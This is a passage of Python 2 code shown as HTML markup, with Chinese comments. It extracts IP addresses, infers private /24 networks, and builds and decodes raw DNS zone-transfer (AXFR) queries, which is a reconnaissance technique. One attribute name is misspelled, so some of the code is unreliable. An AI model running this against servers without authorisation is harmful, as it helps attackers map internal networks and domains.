 <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;text&nbsp;<\/span><span>in<\/span><span>&nbsp;_iplistsearchmaybe: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;type(text)&nbsp;==&nbsp;type(<\/span><span>'1'<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip+=<\/span><span>self<\/span><span>.__getIPinStr(text) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>elif<\/span><span>&nbsp;type(text)&nbsp;==&nbsp;type([<\/span><span>'1'<\/span><span>]): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;text2&nbsp;<\/span><span>in<\/span><span>&nbsp;text: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip+=<\/span><span>self<\/span><span>.__getIPinStr(text2) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[keyipmaybe.append(ipnew)&nbsp;<\/span><span>for<\/span><span>&nbsp;ipnew&nbsp;<\/span><span>in<\/span><span>&nbsp;ip&nbsp;<\/span><span>if<\/span><span>&nbsp;ipnew&nbsp;<\/span><span>not<\/span><span>&nbsp;<\/span><span>in<\/span><span>&nbsp;(keyipmaybe+_ex_ip)]<\/span><span>#ip\u5730\u5740\u5904\u7406 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.keyipmaybe&nbsp;=&nbsp;keyipmaybe &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u53d8\u91cf\u4e2d\u7684IP\u5e76\u53bb\u91cd\uff0c\u53bb\u65e0\u6548IP <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;text&nbsp;<\/span><span>in<\/span><span>&nbsp;_iplistsearch: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;type(text)&nbsp;==&nbsp;type(<\/span><span>'1'<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip+=<\/span><span>self<\/span><span>.__getIPinStr(text) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>elif<\/span><span>&nbsp;type(text)&nbsp;==&nbsp;type([<\/span><span>'1'<\/span><span>]): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;text2&nbsp;<\/span><span>in<\/span><span>&nbsp;text: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip+=<\/span><span>self<\/span><span>.__getIPinStr(text2) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[keyip.append(ipnew)&nbsp;<\/span><span>for<\/span><span>&nbsp;ipnew&nbsp;<\/span><span>in<\/span><span>&nbsp;ip&nbsp;<\/span><span>if<\/span><span>&nbsp;ipnew&nbsp;<\/span><span>not<\/span><span>&nbsp;<\/span><span>in<\/span><span>&nbsp;(keyip+_ex_ip)]<\/span><span>#ip\u5730\u5740\u5904\u7406 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u5c06IP\u5730\u5740\u8f6c\u6362\u4e3a\u7f51\u6bb5\uff0c\u5e76\u53bb\u91cd <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.keyip&nbsp;=&nbsp;keyip &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_ex_network&nbsp;=[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'127.0.0.0'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;netip&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.keyipmaybe: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;network.append(<\/span><span>self<\/span><span>.__ip2network(netip)) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[keynetworkmaybe.append(net)&nbsp;<\/span><span>for<\/span><span>&nbsp;net&nbsp;<\/span><span>in<\/span><span>&nbsp;network&nbsp;<\/span><span>if<\/span><span>&nbsp;net&nbsp;<\/span><span>not<\/span><span>&nbsp;<\/span><span>in<\/span><span>&nbsp;keynetworkmaybe+_ex_network] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;network&nbsp;=&nbsp;[] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;netip&nbsp;<\/span><span>in<\/span><span>&nbsp;<\/span><span>self<\/span><span>.keyip: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;network.append(<\/span><span>self<\/span><span>.__ip2network(netip)) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[keynetwork.append(net)&nbsp;<\/span><span>for<\/span><span>&nbsp;net&nbsp;<\/span><span>in<\/span><span>&nbsp;network&nbsp;<\/span><span>if<\/span><span>&nbsp;net&nbsp;<\/span><span>not<\/span><span>&nbsp;<\/span><span>in<\/span><span>&nbsp;keynetwork+_ex_network] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#\u7b5b\u9009\u51fa\u79c1\u6709IP\u5730\u5740 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;_privatNet&nbsp;=&nbsp;[ &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'172'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'192'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'10'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>\"network&nbsp;may&nbsp;exist:\"<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;net&nbsp;<\/span><span>in<\/span><span>&nbsp;keynetworkmaybe: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;netsplit&nbsp;=&nbsp;net.split(<\/span><span>'.'<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;netsplit[<\/span><span>0<\/span><span>]&nbsp;<\/span><span>in<\/span><span>&nbsp;_privatNet: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;net &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.networkmaybe.append(net) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>\"network&nbsp;exists&nbsp;ensure:\"<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;net&nbsp;<\/span><span>in<\/span><span>&nbsp;keynetwork: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;netsplit&nbsp;=&nbsp;net.split(<\/span><span>'.'<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;netsplit[<\/span><span>0<\/span><span>]&nbsp;<\/span><span>in<\/span><span>&nbsp;_privatNet: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;net &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>self<\/span><span>.network.append(net) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__ip2network(<\/span><span>self<\/span><span>,ip): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>return<\/span><span>&nbsp;<\/span><span>self<\/span><span>.re_network.findall(ip)[<\/span><span>0<\/span><span>]+<\/span><span>'.0'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__getIPinStr(<\/span><span>self<\/span><span>,string): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ip&nbsp;=&nbsp;<\/span><span>self<\/span><span>.re_ip.findall(string) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>return<\/span><span>&nbsp;ip &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__LEN_QUERY&nbsp;=&nbsp;<\/span><span>0<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;Length&nbsp;of&nbsp;Query&nbsp;String <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__gen_query(<\/span><span>self<\/span><span>,domain): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>import<\/span><span>&nbsp;random &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TRANS_ID&nbsp;=&nbsp;random.randint(<\/span><span>1<\/span><span>,&nbsp;<\/span><span>65535<\/span><span>)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;random&nbsp;ID <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;FLAGS&nbsp;=&nbsp;<\/span><span>0<\/span><span>;&nbsp;QDCOUNT&nbsp;=&nbsp;<\/span><span>1<\/span><span>;&nbsp;ANCOUNT&nbsp;=&nbsp;<\/span><span>0<\/span><span>;&nbsp;NSCOUNT&nbsp;=&nbsp;<\/span><span>0<\/span><span>;&nbsp;ARCOUNT&nbsp;=&nbsp;<\/span><span>0<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data&nbsp;=&nbsp;struct.pack( &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>'!HHHHHH'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;TRANS_ID,&nbsp;FLAGS,QDCOUNT,&nbsp;ANCOUNT,&nbsp;NSCOUNT,&nbsp;ARCOUNT &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query&nbsp;=&nbsp;<\/span><span>''<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>for<\/span><span>&nbsp;label&nbsp;<\/span><span>in<\/span><span>&nbsp;domain.strip().split(<\/span><span>'.'<\/span><span>): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query&nbsp;+=&nbsp;struct.pack(<\/span><span>'!B'<\/span><span>,&nbsp;len(label))&nbsp;+&nbsp;label.lower() &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;query&nbsp;+=&nbsp;<\/span><span>'\\x00'<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;end&nbsp;of&nbsp;domain&nbsp;name <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data&nbsp;+=&nbsp;query &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>global<\/span><span>&nbsp;__LEN_QUERY &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;__LEN_QUERY&nbsp;=&nbsp;len(query)&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;length&nbsp;of&nbsp;query&nbsp;section <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;q_type&nbsp;=&nbsp;<\/span><span>252<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;Type&nbsp;AXFR&nbsp;=&nbsp;252 <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;q_class&nbsp;=&nbsp;<\/span><span>1<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;CLASS&nbsp;IN <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data&nbsp;+=&nbsp;struct.pack(<\/span><span>'!HH'<\/span><span>,&nbsp;q_type,&nbsp;q_class) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;data&nbsp;=&nbsp;struct.pack(<\/span><span>'!H'<\/span><span>,&nbsp;len(data)&nbsp;)&nbsp;+&nbsp;data&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;first&nbsp;2&nbsp;bytes&nbsp;should&nbsp;be&nbsp;length <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>return<\/span><span>&nbsp;data &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;__OFFvSET&nbsp;=&nbsp;<\/span><span>0<\/span><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>#&nbsp;Response&nbsp;Data&nbsp;offset <\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;__TYPES&nbsp;=&nbsp;{<\/span><span>1<\/span><span>:&nbsp;<\/span><span>'A'<\/span><span>,&nbsp;<\/span><span>2<\/span><span>:&nbsp;<\/span><span>'NS'<\/span><span>,&nbsp;<\/span><span>5<\/span><span>:&nbsp;<\/span><span>'CNAME'<\/span><span>,&nbsp;<\/span><span>6<\/span><span>:&nbsp;<\/span><span>'SOA'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>12<\/span><span>:&nbsp;<\/span><span>'PTR'<\/span><span>,&nbsp;<\/span><span>15<\/span><span>:&nbsp;<\/span><span>'MX'<\/span><span>,&nbsp;<\/span><span>16<\/span><span>:&nbsp;<\/span><span>'TXT'<\/span><span>, &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>28<\/span><span>:&nbsp;<\/span><span>'AAAA'<\/span><span>,&nbsp;<\/span><span>38<\/span><span>:&nbsp;<\/span><span>'A6'<\/span><span>,&nbsp;<\/span><span>99<\/span><span>:&nbsp;<\/span><span>'SPF'<\/span><span>,} &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>def<\/span><span>&nbsp;__decode(<\/span><span>self<\/span><span>,response): &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;RCODE&nbsp;=&nbsp;struct.unpack(<\/span><span>'!H'<\/span><span>,response[<\/span><span>2<\/span><span>:<\/span><span>4<\/span><span>])[<\/span><span>0<\/span><span>]&nbsp;&amp;&nbsp;<\/span><span>0b00001111<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>if<\/span><span>&nbsp;RCODE&nbsp;!=&nbsp;<\/span><span>0<\/span><span>: &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'Transfer&nbsp;Failed.&nbsp;%&gt;_&lt;%'<\/span><span>&nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;sys.exit(-<\/span><span>1<\/span><span>) &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;anwser_rrs&nbsp;=&nbsp;struct.unpack(<\/span><span>'!H'<\/span><span>,&nbsp;response[<\/span><span>6<\/span><span>:<\/span><span>8<\/span><span>]&nbsp;)[<\/span><span>0<\/span><span>] &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>print<\/span><span>&nbsp;<\/span><span>'&lt;&lt;&nbsp;%d&nbsp;records&nbsp;in&nbsp;total&nbsp;&gt;&gt;'<\/span><span>&nbsp;%&nbsp;anwser_rrs &nbsp;<\/span><\/li>\n  \n  \n  \n  <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span>global<\/span><span>&nbsp;__LEN_QUERY,&nbsp;__OFFSET &nbsp;<\/span><\/li>\n  \n  \n  \n  